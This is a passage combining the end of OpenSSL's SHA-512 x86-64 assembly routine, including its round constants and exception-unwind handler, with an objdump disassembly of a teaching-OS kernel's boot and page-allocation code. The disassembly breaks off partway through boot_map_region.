mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[16+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[104+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[32+rsp]
mov r13,rax
add r12,r14
mov r14,r8
ror r13,23
mov r15,rbx
mov QWORD PTR[32+rsp],r12
ror r14,5
xor r13,rax
xor r15,rcx
ror r13,4
add r12,rdx
xor r14,r8
add r12,QWORD PTR[rdi*8+rbp]
and r15,rax
mov rdx,r9
ror r14,6
xor r13,rax
xor r15,rcx
xor rdx,r10
xor r14,r8
add r12,r15
mov r15,r9
ror r13,14
and rdx,r8
and r15,r10
ror r14,28
add r12,r13
add rdx,r15
add r11,r12
add rdx,r12
lea rdi,QWORD PTR[1+rdi]
add rdx,r14
mov r13,QWORD PTR[48+rsp]
mov r14,QWORD PTR[24+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[112+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[40+rsp]
mov r13,r11
add r12,r14
mov r14,rdx
ror r13,23
mov r15,rax
mov QWORD PTR[40+rsp],r12
ror r14,5
xor r13,r11
xor r15,rbx
ror r13,4
add r12,rcx
xor r14,rdx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r11
mov rcx,r8
ror r14,6
xor r13,r11
xor r15,rbx
xor rcx,r9
xor r14,rdx
add r12,r15
mov r15,r8
ror r13,14
and rcx,rdx
and r15,r9
ror r14,28
add r12,r13
add rcx,r15
add r10,r12
add rcx,r12
lea rdi,QWORD PTR[1+rdi]
add rcx,r14
mov r13,QWORD PTR[56+rsp]
mov r14,QWORD PTR[32+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[120+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[48+rsp]
mov r13,r10
add r12,r14
mov r14,rcx
ror r13,23
mov r15,r11
mov QWORD PTR[48+rsp],r12
ror r14,5
xor r13,r10
xor r15,rax
ror r13,4
add r12,rbx
xor r14,rcx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r10
mov rbx,rdx
ror r14,6
xor r13,r10
xor r15,rax
xor rbx,r8
xor r14,rcx
add r12,r15
mov r15,rdx
ror r13,14
and rbx,rcx
and r15,r8
ror r14,28
add r12,r13
add rbx,r15
add r9,r12
add rbx,r12
lea rdi,QWORD PTR[1+rdi]
add rbx,r14
mov r13,QWORD PTR[64+rsp]
mov r14,QWORD PTR[40+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[56+rsp]
mov r13,r9
add r12,r14
mov r14,rbx
ror r13,23
mov r15,r10
mov QWORD PTR[56+rsp],r12
ror r14,5
xor r13,r9
xor r15,r11
ror r13,4
add r12,rax
xor r14,rbx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r9
mov rax,rcx
ror r14,6
xor r13,r9
xor r15,r11
xor rax,rdx
xor r14,rbx
add r12,r15
mov r15,rcx
ror r13,14
and rax,rbx
and r15,rdx
ror r14,28
add r12,r13
add rax,r15
add r8,r12
add rax,r12
lea rdi,QWORD PTR[1+rdi]
add rax,r14
mov r13,QWORD PTR[72+rsp]
mov r14,QWORD PTR[48+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[8+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[64+rsp]
mov r13,r8
add r12,r14
mov r14,rax
ror r13,23
mov r15,r9
mov QWORD PTR[64+rsp],r12
ror r14,5
xor r13,r8
xor r15,r10
ror r13,4
add r12,r11
xor r14,rax
add r12,QWORD PTR[rdi*8+rbp]
and r15,r8
mov r11,rbx
ror r14,6
xor r13,r8
xor r15,r10
xor r11,rcx
xor r14,rax
add r12,r15
mov r15,rbx
ror r13,14
and r11,rax
and r15,rcx
ror r14,28
add r12,r13
add r11,r15
add rdx,r12
add r11,r12
lea rdi,QWORD PTR[1+rdi]
add r11,r14
mov r13,QWORD PTR[80+rsp]
mov r14,QWORD PTR[56+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[16+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[72+rsp]
mov r13,rdx
add r12,r14
mov r14,r11
ror r13,23
mov r15,r8
mov QWORD PTR[72+rsp],r12
ror r14,5
xor r13,rdx
xor r15,r9
ror r13,4
add r12,r10
xor r14,r11
add r12,QWORD PTR[rdi*8+rbp]
and r15,rdx
mov r10,rax
ror r14,6
xor r13,rdx
xor r15,r9
xor r10,rbx
xor r14,r11
add r12,r15
mov r15,rax
ror r13,14
and r10,r11
and r15,rbx
ror r14,28
add r12,r13
add r10,r15
add rcx,r12
add r10,r12
lea rdi,QWORD PTR[1+rdi]
add r10,r14
mov r13,QWORD PTR[88+rsp]
mov r14,QWORD PTR[64+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[24+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[80+rsp]
mov r13,rcx
add r12,r14
mov r14,r10
ror r13,23
mov r15,rdx
mov QWORD PTR[80+rsp],r12
ror r14,5
xor r13,rcx
xor r15,r8
ror r13,4
add r12,r9
xor r14,r10
add r12,QWORD PTR[rdi*8+rbp]
and r15,rcx
mov r9,r11
ror r14,6
xor r13,rcx
xor r15,r8
xor r9,rax
xor r14,r10
add r12,r15
mov r15,r11
ror r13,14
and r9,r10
and r15,rax
ror r14,28
add r12,r13
add r9,r15
add rbx,r12
add r9,r12
lea rdi,QWORD PTR[1+rdi]
add r9,r14
mov r13,QWORD PTR[96+rsp]
mov r14,QWORD PTR[72+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[32+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[88+rsp]
mov r13,rbx
add r12,r14
mov r14,r9
ror r13,23
mov r15,rcx
mov QWORD PTR[88+rsp],r12
ror r14,5
xor r13,rbx
xor r15,rdx
ror r13,4
add r12,r8
xor r14,r9
add r12,QWORD PTR[rdi*8+rbp]
and r15,rbx
mov r8,r10
ror r14,6
xor r13,rbx
xor r15,rdx
xor r8,r11
xor r14,r9
add r12,r15
mov r15,r10
ror r13,14
and r8,r9
and r15,r11
ror r14,28
add r12,r13
add r8,r15
add rax,r12
add r8,r12
lea rdi,QWORD PTR[1+rdi]
add r8,r14
mov r13,QWORD PTR[104+rsp]
mov r14,QWORD PTR[80+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[40+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[96+rsp]
mov r13,rax
add r12,r14
mov r14,r8
ror r13,23
mov r15,rbx
mov QWORD PTR[96+rsp],r12
ror r14,5
xor r13,rax
xor r15,rcx
ror r13,4
add r12,rdx
xor r14,r8
add r12,QWORD PTR[rdi*8+rbp]
and r15,rax
mov rdx,r9
ror r14,6
xor r13,rax
xor r15,rcx
xor rdx,r10
xor r14,r8
add r12,r15
mov r15,r9
ror r13,14
and rdx,r8
and r15,r10
ror r14,28
add r12,r13
add rdx,r15
add r11,r12
add rdx,r12
lea rdi,QWORD PTR[1+rdi]
add rdx,r14
mov r13,QWORD PTR[112+rsp]
mov r14,QWORD PTR[88+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[48+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[104+rsp]
mov r13,r11
add r12,r14
mov r14,rdx
ror r13,23
mov r15,rax
mov QWORD PTR[104+rsp],r12
ror r14,5
xor r13,r11
xor r15,rbx
ror r13,4
add r12,rcx
xor r14,rdx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r11
mov rcx,r8
ror r14,6
xor r13,r11
xor r15,rbx
xor rcx,r9
xor r14,rdx
add r12,r15
mov r15,r8
ror r13,14
and rcx,rdx
and r15,r9
ror r14,28
add r12,r13
add rcx,r15
add r10,r12
add rcx,r12
lea rdi,QWORD PTR[1+rdi]
add rcx,r14
mov r13,QWORD PTR[120+rsp]
mov r14,QWORD PTR[96+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[56+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[112+rsp]
mov r13,r10
add r12,r14
mov r14,rcx
ror r13,23
mov r15,r11
mov QWORD PTR[112+rsp],r12
ror r14,5
xor r13,r10
xor r15,rax
ror r13,4
add r12,rbx
xor r14,rcx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r10
mov rbx,rdx
ror r14,6
xor r13,r10
xor r15,rax
xor rbx,r8
xor r14,rcx
add r12,r15
mov r15,rdx
ror r13,14
and rbx,rcx
and r15,r8
ror r14,28
add r12,r13
add rbx,r15
add r9,r12
add rbx,r12
lea rdi,QWORD PTR[1+rdi]
add rbx,r14
mov r13,QWORD PTR[rsp]
mov r14,QWORD PTR[104+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[64+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[120+rsp]
mov r13,r9
add r12,r14
mov r14,rbx
ror r13,23
mov r15,r10
mov QWORD PTR[120+rsp],r12
ror r14,5
xor r13,r9
xor r15,r11
ror r13,4
add r12,rax
xor r14,rbx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r9
mov rax,rcx
ror r14,6
xor r13,r9
xor r15,r11
xor rax,rdx
xor r14,rbx
add r12,r15
mov r15,rcx
ror r13,14
and rax,rbx
and r15,rdx
ror r14,28
add r12,r13
add rax,r15
add r8,r12
add rax,r12
lea rdi,QWORD PTR[1+rdi]
add rax,r14
cmp rdi,80
jb $L$rounds_16_xx
mov rdi,QWORD PTR[((128+0))+rsp]
lea rsi,QWORD PTR[128+rsi]
add rax,QWORD PTR[rdi]
add rbx,QWORD PTR[8+rdi]
add rcx,QWORD PTR[16+rdi]
add rdx,QWORD PTR[24+rdi]
add r8,QWORD PTR[32+rdi]
add r9,QWORD PTR[40+rdi]
add r10,QWORD PTR[48+rdi]
add r11,QWORD PTR[56+rdi]
cmp rsi,QWORD PTR[((128+16))+rsp]
mov QWORD PTR[rdi],rax
mov QWORD PTR[8+rdi],rbx
mov QWORD PTR[16+rdi],rcx
mov QWORD PTR[24+rdi],rdx
mov QWORD PTR[32+rdi],r8
mov QWORD PTR[40+rdi],r9
mov QWORD PTR[48+rdi],r10
mov QWORD PTR[56+rdi],r11
jb $L$loop
mov rsi,QWORD PTR[((128+24))+rsp]
mov r15,QWORD PTR[rsi]
mov r14,QWORD PTR[8+rsi]
mov r13,QWORD PTR[16+rsi]
mov r12,QWORD PTR[24+rsi]
mov rbp,QWORD PTR[32+rsi]
mov rbx,QWORD PTR[40+rsi]
lea rsp,QWORD PTR[48+rsi]
$L$epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sha512_block_data_order::
sha512_block_data_order ENDP
ALIGN 64
K512::
DQ 0428a2f98d728ae22h,07137449123ef65cdh
DQ 0b5c0fbcfec4d3b2fh,0e9b5dba58189dbbch
DQ 03956c25bf348b538h,059f111f1b605d019h
DQ 0923f82a4af194f9bh,0ab1c5ed5da6d8118h
DQ 0d807aa98a3030242h,012835b0145706fbeh
DQ 0243185be4ee4b28ch,0550c7dc3d5ffb4e2h
DQ 072be5d74f27b896fh,080deb1fe3b1696b1h
DQ 09bdc06a725c71235h,0c19bf174cf692694h
DQ 0e49b69c19ef14ad2h,0efbe4786384f25e3h
DQ 00fc19dc68b8cd5b5h,0240ca1cc77ac9c65h
DQ 02de92c6f592b0275h,04a7484aa6ea6e483h
DQ 05cb0a9dcbd41fbd4h,076f988da831153b5h
DQ 0983e5152ee66dfabh,0a831c66d2db43210h
DQ 0b00327c898fb213fh,0bf597fc7beef0ee4h
DQ 0c6e00bf33da88fc2h,0d5a79147930aa725h
DQ 006ca6351e003826fh,0142929670a0e6e70h
DQ 027b70a8546d22ffch,02e1b21385c26c926h
DQ 04d2c6dfc5ac42aedh,053380d139d95b3dfh
DQ 0650a73548baf63deh,0766a0abb3c77b2a8h
DQ 081c2c92e47edaee6h,092722c851482353bh
DQ 0a2bfe8a14cf10364h,0a81a664bbc423001h
DQ 0c24b8b70d0f89791h,0c76c51a30654be30h
DQ 0d192e819d6ef5218h,0d69906245565a910h
DQ 0f40e35855771202ah,0106aa07032bbd1b8h
DQ 019a4c116b8d2d0c8h,01e376c085141ab53h
DQ 02748774cdf8eeb99h,034b0bcb5e19b48a8h
DQ 0391c0cb3c5c95a63h,04ed8aa4ae3418acbh
DQ 05b9cca4f7763e373h,0682e6ff3d6b2b8a3h
DQ 0748f82ee5defb2fch,078a5636f43172f60h
DQ 084c87814a1f0ab72h,08cc702081a6439ech
DQ 090befffa23631e28h,0a4506cebde82bde9h
DQ 0bef9a3f7b2c67915h,0c67178f2e372532bh
DQ 0ca273eceea26619ch,0d186b8c721c0c207h
DQ 0eada7dd6cde0eb1eh,0f57d4f7fee6ed178h
DQ 006f067aa72176fbah,00a637dc5a2c898a6h
DQ 0113f9804bef90daeh,01b710b35131c471bh
DQ 028db77f523047d84h,032caab7b40c72493h
DQ 03c9ebe0a15c9bebch,0431d67c49c100d4ch
DQ 04cc5d4becb3e42b6h,0597f299cfc657e2ah
DQ 05fcb6fab3ad6faech,06c44198c4a475817h
EXTERN __imp_RtlVirtualUnwind:NEAR
ALIGN 16
se_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
lea r10,QWORD PTR[$L$prologue]
cmp rbx,r10
jb $L$in_prologue
mov rax,QWORD PTR[152+r8]
lea r10,QWORD PTR[$L$epilogue]
cmp rbx,r10
jae $L$in_prologue
mov rax,QWORD PTR[((128+24))+rax]
lea rax,QWORD PTR[48+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r15,QWORD PTR[((-48))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
$L$in_prologue::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
mov rdi,QWORD PTR[40+r9]
mov rsi,r8
mov ecx,154
DD 0a548f3fch
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD PTR[8+rsi]
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[16+rsi]
mov r10,QWORD PTR[40+rsi]
lea r11,QWORD PTR[56+rsi]
lea r12,QWORD PTR[24+rsi]
mov QWORD PTR[32+rsp],r10
mov QWORD PTR[40+rsp],r11
mov QWORD PTR[48+rsp],r12
mov QWORD PTR[56+rsp],rcx
call QWORD PTR[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
se_handler ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_sha512_block_data_order
DD imagerel $L$SEH_end_sha512_block_data_order
DD imagerel $L$SEH_info_sha512_block_data_order
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_sha512_block_data_order::
DB 9,0,0,0
DD imagerel se_handler
.xdata ENDS
END
| domenicosolazzo/philocademy | venv/src/node-v0.10.36/deps/openssl/asm/x64-win32-masm/sha/sha512-x86_64.asm | Assembly | mit | 24,699 |
kernel: file format elf32-i386
Disassembly of section .text:
f0100000 <_start+0xeffffff4>:
f0100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
f0100006: 00 00 add %al,(%eax)
f0100008: fe 4f 52 decb 0x52(%edi)
f010000b: e4 .byte 0xe4
f010000c <entry>:
.globl _start
_start = RELOC(entry)
.globl entry
entry:
movw $0x1234,0x472 # warm boot
f010000c: 66 c7 05 72 04 00 00 movw $0x1234,0x472
f0100013: 34 12
# sufficient until we set up our real page table in mem_init
# in lab 2.
# Load the physical address of entry_pgdir into cr3. entry_pgdir
# is defined in entrypgdir.c.
movl $(RELOC(entry_pgdir)), %eax
f0100015: b8 00 c0 10 00 mov $0x10c000,%eax
movl %eax, %cr3
f010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
f010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PE|CR0_PG|CR0_WP), %eax
f0100020: 0d 01 00 01 80 or $0x80010001,%eax
movl %eax, %cr0
f0100025: 0f 22 c0 mov %eax,%cr0
# Now paging is enabled, but we're still running at a low EIP
# (why is this okay?). Jump up above KERNBASE before entering
# C code.
mov $relocated, %eax
f0100028: b8 2f 00 10 f0 mov $0xf010002f,%eax
jmp *%eax
f010002d: ff e0 jmp *%eax
f010002f <relocated>:
relocated:
# Clear the frame pointer register (EBP)
# so that once we get into debugging C code,
# stack backtraces will be terminated properly.
movl $0x0,%ebp # nuke frame pointer
f010002f: bd 00 00 00 00 mov $0x0,%ebp
# Set the stack pointer
movl $(bootstacktop),%esp
f0100034: bc 00 c0 10 f0 mov $0xf010c000,%esp
# now to C code
call i386_init
f0100039: e8 9c 05 00 00 call f01005da <i386_init>
f010003e <spin>:
# Should never get here, but in case we do, just spin.
spin: jmp spin
f010003e: eb fe jmp f010003e <spin>
f0100040 <boot_alloc>:
f0100040: 83 3d 40 f9 11 f0 00 cmpl $0x0,0xf011f940
f0100047: 55 push %ebp
f0100048: 89 e5 mov %esp,%ebp
f010004a: 75 11 jne f010005d <boot_alloc+0x1d>
f010004c: ba cf 18 12 f0 mov $0xf01218cf,%edx
f0100051: 81 e2 00 f0 ff ff and $0xfffff000,%edx
f0100057: 89 15 40 f9 11 f0 mov %edx,0xf011f940
f010005d: 85 c0 test %eax,%eax
f010005f: 8b 0d 40 f9 11 f0 mov 0xf011f940,%ecx
f0100065: 74 13 je f010007a <boot_alloc+0x3a>
f0100067: 8d 94 01 ff 0f 00 00 lea 0xfff(%ecx,%eax,1),%edx
f010006e: 81 e2 00 f0 ff ff and $0xfffff000,%edx
f0100074: 89 15 40 f9 11 f0 mov %edx,0xf011f940
f010007a: 89 c8 mov %ecx,%eax
f010007c: 5d pop %ebp
f010007d: c3 ret
f010007e <mc146818_read>:
f010007e: 55 push %ebp
f010007f: ba 70 00 00 00 mov $0x70,%edx
f0100084: 89 e5 mov %esp,%ebp
f0100086: 8b 45 08 mov 0x8(%ebp),%eax
f0100089: ee out %al,(%dx)
f010008a: b2 71 mov $0x71,%dl
f010008c: ec in (%dx),%al
f010008d: 0f b6 c0 movzbl %al,%eax
f0100090: 5d pop %ebp
f0100091: c3 ret
f0100092 <page_init>:
f0100092: a1 c0 08 12 f0 mov 0xf01208c0,%eax
f0100097: 55 push %ebp
f0100098: 89 e5 mov %esp,%ebp
f010009a: 56 push %esi
f010009b: 53 push %ebx
f010009c: 8d 70 ff lea -0x1(%eax),%esi
f010009f: 8d 1c c5 f8 ff ff ff lea -0x8(,%eax,8),%ebx
f01000a6: 85 f6 test %esi,%esi
f01000a8: 0f 84 aa 00 00 00 je f0100158 <page_init+0xc6>
f01000ae: a1 48 f9 11 f0 mov 0xf011f948,%eax
f01000b3: 89 c2 mov %eax,%edx
f01000b5: c1 ea 0c shr $0xc,%edx
f01000b8: 39 d6 cmp %edx,%esi
f01000ba: 75 0f jne f01000cb <page_init+0x39>
f01000bc: a1 c8 08 12 f0 mov 0xf01208c8,%eax
f01000c1: 01 d8 add %ebx,%eax
f01000c3: 66 c7 40 04 01 00 movw $0x1,0x4(%eax)
f01000c9: eb 17 jmp f01000e2 <page_init+0x50>
f01000cb: 39 c6 cmp %eax,%esi
f01000cd: 72 2e jb f01000fd <page_init+0x6b>
f01000cf: 81 fe 00 01 00 00 cmp $0x100,%esi
f01000d5: 77 13 ja f01000ea <page_init+0x58>
f01000d7: a1 c8 08 12 f0 mov 0xf01208c8,%eax
f01000dc: 01 d8 add %ebx,%eax
f01000de: 66 ff 40 04 incw 0x4(%eax)
f01000e2: c7 00 00 00 00 00 movl $0x0,(%eax)
f01000e8: eb 34 jmp f010011e <page_init+0x8c>
f01000ea: 31 c0 xor %eax,%eax
f01000ec: e8 4f ff ff ff call f0100040 <boot_alloc>
f01000f1: 05 00 00 00 10 add $0x10000000,%eax
f01000f6: c1 e8 0c shr $0xc,%eax
f01000f9: 39 c6 cmp %eax,%esi
f01000fb: 72 da jb f01000d7 <page_init+0x45>
f01000fd: a1 c8 08 12 f0 mov 0xf01208c8,%eax
f0100102: 01 d8 add %ebx,%eax
f0100104: 66 c7 40 04 00 00 movw $0x0,0x4(%eax)
f010010a: 8b 15 44 f9 11 f0 mov 0xf011f944,%edx
f0100110: 89 10 mov %edx,(%eax)
f0100112: a1 c8 08 12 f0 mov 0xf01208c8,%eax
f0100117: 01 d8 add %ebx,%eax
f0100119: a3 44 f9 11 f0 mov %eax,0xf011f944
f010011e: 89 d8 mov %ebx,%eax
f0100120: 8b 15 c8 08 12 f0 mov 0xf01208c8,%edx
f0100126: c1 f8 03 sar $0x3,%eax
f0100129: c1 e0 0c shl $0xc,%eax
f010012c: 3d 00 00 0a 00 cmp $0xa0000,%eax
f0100131: 74 04 je f0100137 <page_init+0xa5>
f0100133: 85 c0 test %eax,%eax
f0100135: 75 18 jne f010014f <page_init+0xbd>
f0100137: 66 83 7c 1a 04 00 cmpw $0x0,0x4(%edx,%ebx,1)
f010013d: 75 10 jne f010014f <page_init+0xbd>
f010013f: 50 push %eax
f0100140: 50 push %eax
f0100141: 56 push %esi
f0100142: 68 80 2a 10 f0 push $0xf0102a80
f0100147: e8 1a 23 00 00 call f0102466 <cprintf>
f010014c: 83 c4 10 add $0x10,%esp
f010014f: 4e dec %esi
f0100150: 83 eb 08 sub $0x8,%ebx
f0100153: e9 4e ff ff ff jmp f01000a6 <page_init+0x14>
f0100158: 8d 65 f8 lea -0x8(%ebp),%esp
f010015b: 5b pop %ebx
f010015c: 5e pop %esi
f010015d: 5d pop %ebp
f010015e: c3 ret
f010015f <page_alloc>:
f010015f: 55 push %ebp
f0100160: 89 e5 mov %esp,%ebp
f0100162: 53 push %ebx
f0100163: 52 push %edx
f0100164: 8b 1d 44 f9 11 f0 mov 0xf011f944,%ebx
f010016a: 85 db test %ebx,%ebx
f010016c: 74 38 je f01001a6 <page_alloc+0x47>
f010016e: f6 45 08 01 testb $0x1,0x8(%ebp)
f0100172: 8b 03 mov (%ebx),%eax
f0100174: c7 03 00 00 00 00 movl $0x0,(%ebx)
f010017a: a3 44 f9 11 f0 mov %eax,0xf011f944
f010017f: 74 25 je f01001a6 <page_alloc+0x47>
f0100181: 89 da mov %ebx,%edx
f0100183: 2b 15 c8 08 12 f0 sub 0xf01208c8,%edx
f0100189: 50 push %eax
f010018a: 68 00 10 00 00 push $0x1000
f010018f: 6a 00 push $0x0
f0100191: c1 fa 03 sar $0x3,%edx
f0100194: c1 e2 0c shl $0xc,%edx
f0100197: 81 ea 00 00 00 10 sub $0x10000000,%edx
f010019d: 52 push %edx
f010019e: e8 71 26 00 00 call f0102814 <memset>
f01001a3: 83 c4 10 add $0x10,%esp
f01001a6: 89 d8 mov %ebx,%eax
f01001a8: 8b 5d fc mov -0x4(%ebp),%ebx
f01001ab: c9 leave
f01001ac: c3 ret
f01001ad <page_free>:
f01001ad: 55 push %ebp
f01001ae: 89 e5 mov %esp,%ebp
f01001b0: 83 ec 08 sub $0x8,%esp
f01001b3: 8b 45 08 mov 0x8(%ebp),%eax
f01001b6: 66 83 78 04 00 cmpw $0x0,0x4(%eax)
f01001bb: 74 0d je f01001ca <page_free+0x1d>
f01001bd: 52 push %edx
f01001be: 68 92 2a 10 f0 push $0xf0102a92
f01001c3: 68 1a 01 00 00 push $0x11a
f01001c8: eb 10 jmp f01001da <page_free+0x2d>
f01001ca: 83 38 00 cmpl $0x0,(%eax)
f01001cd: 74 15 je f01001e4 <page_free+0x37>
f01001cf: 50 push %eax
f01001d0: 68 bc 2a 10 f0 push $0xf0102abc
f01001d5: 68 1c 01 00 00 push $0x11c
f01001da: 68 b5 2a 10 f0 push $0xf0102ab5
f01001df: e8 ed 23 00 00 call f01025d1 <_panic>
f01001e4: 8b 15 44 f9 11 f0 mov 0xf011f944,%edx
f01001ea: a3 44 f9 11 f0 mov %eax,0xf011f944
f01001ef: 89 10 mov %edx,(%eax)
f01001f1: c9 leave
f01001f2: c3 ret
f01001f3 <page_decref>:
f01001f3: 55 push %ebp
f01001f4: 89 e5 mov %esp,%ebp
f01001f6: 8b 55 08 mov 0x8(%ebp),%edx
f01001f9: 66 ff 4a 04 decw 0x4(%edx)
f01001fd: 75 03 jne f0100202 <page_decref+0xf>
f01001ff: 5d pop %ebp
f0100200: eb ab jmp f01001ad <page_free>
f0100202: 5d pop %ebp
f0100203: c3 ret
f0100204 <pgdir_walk>:
f0100204: 55 push %ebp
f0100205: 89 e5 mov %esp,%ebp
f0100207: 53 push %ebx
f0100208: 50 push %eax
f0100209: 8b 5d 0c mov 0xc(%ebp),%ebx
f010020c: 8b 55 08 mov 0x8(%ebp),%edx
f010020f: c1 eb 16 shr $0x16,%ebx
f0100212: 8d 1c 9a lea (%edx,%ebx,4),%ebx
f0100215: 8b 13 mov (%ebx),%edx
f0100217: 85 d2 test %edx,%edx
f0100219: 75 36 jne f0100251 <pgdir_walk+0x4d>
f010021b: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
f010021f: 75 04 jne f0100225 <pgdir_walk+0x21>
f0100221: 31 c0 xor %eax,%eax
f0100223: eb 45 jmp f010026a <pgdir_walk+0x66>
f0100225: 83 ec 0c sub $0xc,%esp
f0100228: 6a 01 push $0x1
f010022a: e8 30 ff ff ff call f010015f <page_alloc>
f010022f: 83 c4 10 add $0x10,%esp
f0100232: 85 c0 test %eax,%eax
f0100234: 74 eb je f0100221 <pgdir_walk+0x1d>
f0100236: 66 ff 40 04 incw 0x4(%eax)
f010023a: 2b 05 c8 08 12 f0 sub 0xf01208c8,%eax
f0100240: 89 c2 mov %eax,%edx
f0100242: c1 fa 03 sar $0x3,%edx
f0100245: c1 e2 0c shl $0xc,%edx
f0100248: 0b 13 or (%ebx),%edx
f010024a: 89 d0 mov %edx,%eax
f010024c: 83 c8 07 or $0x7,%eax
f010024f: 89 03 mov %eax,(%ebx)
f0100251: 8b 45 0c mov 0xc(%ebp),%eax
f0100254: 81 e2 00 f0 ff ff and $0xfffff000,%edx
f010025a: 81 ea 00 00 00 10 sub $0x10000000,%edx
f0100260: c1 e8 0a shr $0xa,%eax
f0100263: 25 fc 0f 00 00 and $0xffc,%eax
f0100268: 01 d0 add %edx,%eax
f010026a: 8b 5d fc mov -0x4(%ebp),%ebx
f010026d: c9 leave
f010026e: c3 ret
f010026f <boot_map_region>:
f010026f: 55 push %ebp
f0100270: 89 e5 mov %esp,%ebp
f0100272: 57 push %edi
f0100273: 56 push %esi
f0100274: 53 push %ebx
f0100275: 89 c7 mov %eax,%edi
f0100277: 89 ce mov %ecx,%esi
f0100279: 31 db xor %ebx,%ebx
f010027b: 83 ec 1c sub $0x1c,%esp
f010027e: 8b 45 0c mov 0xc(%ebp),%eax
f0100281: 83 c8 01 or $0x1,%eax
f0100284: 89 45 e4 mov %eax,-0x1c(%ebp)
f0100287: 39 f3 cmp %esi,%ebx
f0100289: 73 2e jae f01002b9 <boot_map_region+0x4a>
f010028b: 50 push %eax
f010028c: 8d 04 13 lea (%ebx,%edx,1),%eax
f010028f: 6a 01 push $0x1
f0100291: 89 55 e0 mov %edx,-0x20(%ebp)
f0100294: 50 push %eax
f0100295: 57 push %edi
f0100296: e8 69 ff ff ff call f0100204 <pgdir_walk>
f010029b: 8b 4d 08 mov 0x8(%ebp),%ecx
f010029e: 83 c4 10 add $0x10,%esp
f01002a1: 8b 55 e0 mov -0x20(%ebp),%edx
